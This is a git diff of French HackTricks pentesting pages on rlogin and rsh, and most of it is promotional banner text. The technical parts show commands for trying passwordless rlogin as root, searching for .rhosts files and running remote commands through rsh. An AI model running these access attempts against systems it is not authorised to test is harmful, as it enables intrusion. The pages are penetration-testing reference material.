* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 513 - Pentesting Rlogin
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -21,7 +22,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
## Informations de base
|
||||
|
||||
Dans le passé, **rlogin** était largement utilisé pour des tâches d'administration à distance. Cependant, en raison de préoccupations concernant sa sécurité, il a largement été remplacé par **slogin** et **ssh**. Ces nouvelles méthodes offrent une sécurité renforcée pour les connexions à distance.
|
||||
Dans le passé, **rlogin** était largement utilisé pour des tâches d'administration à distance. Cependant, en raison de préoccupations concernant sa sécurité, il a été largement remplacé par **slogin** et **ssh**. Ces méthodes plus récentes offrent une sécurité améliorée pour les connexions à distance.
|
||||
|
||||
**Port par défaut :** 513
|
||||
```
|
||||
|
@ -33,7 +34,7 @@ PORT STATE SERVICE
|
|||
# Install client
|
||||
apt-get install rsh-client
|
||||
```
|
||||
Vous pouvez utiliser la commande suivante pour essayer de **vous connecter** à un hôte distant où aucun mot de passe n'est requis pour l'accès. Essayez d'utiliser **root** comme nom d'utilisateur :
|
||||
Vous pouvez utiliser la commande suivante pour essayer de **login** à un hôte distant où **aucun mot de passe** n'est requis pour l'accès. Essayez d'utiliser **root** comme nom d'utilisateur :
|
||||
```bash
|
||||
rlogin <IP> -l <username>
|
||||
```
|
||||
|
@ -48,16 +49,17 @@ find / -name .rhosts
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 514 - Pentesting Rsh
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
|
||||
Pour l'authentification, les fichiers **.rhosts** ainsi que **/etc/hosts.equiv** étaient utilisés par **Rsh**. L'authentification dépendait des adresses IP et du système de noms de domaine (DNS). La facilité de falsification des adresses IP, notamment sur le réseau local, constituait une vulnérabilité importante.
|
||||
Pour l'authentification, les fichiers **.rhosts** ainsi que **/etc/hosts.equiv** étaient utilisés par **Rsh**. L'authentification dépendait des adresses IP et du système de noms de domaine (DNS). La facilité de falsification des adresses IP, notamment sur le réseau local, représentait une vulnérabilité significative.
|
||||
|
||||
De plus, il était courant que les fichiers **.rhosts** soient placés dans les répertoires personnels des utilisateurs, qui étaient souvent situés sur des volumes du Système de Fichiers en Réseau (NFS).
|
||||
De plus, il était courant que les fichiers **.rhosts** soient placés dans les répertoires personnels des utilisateurs, qui étaient souvent situés sur des volumes de système de fichiers en réseau (NFS).
|
||||
|
||||
**Port par défaut** : 514
|
||||
|
||||
|
@ -34,16 +35,17 @@ rsh domain\\user@<IP> <Command>
|
|||
## Références
|
||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue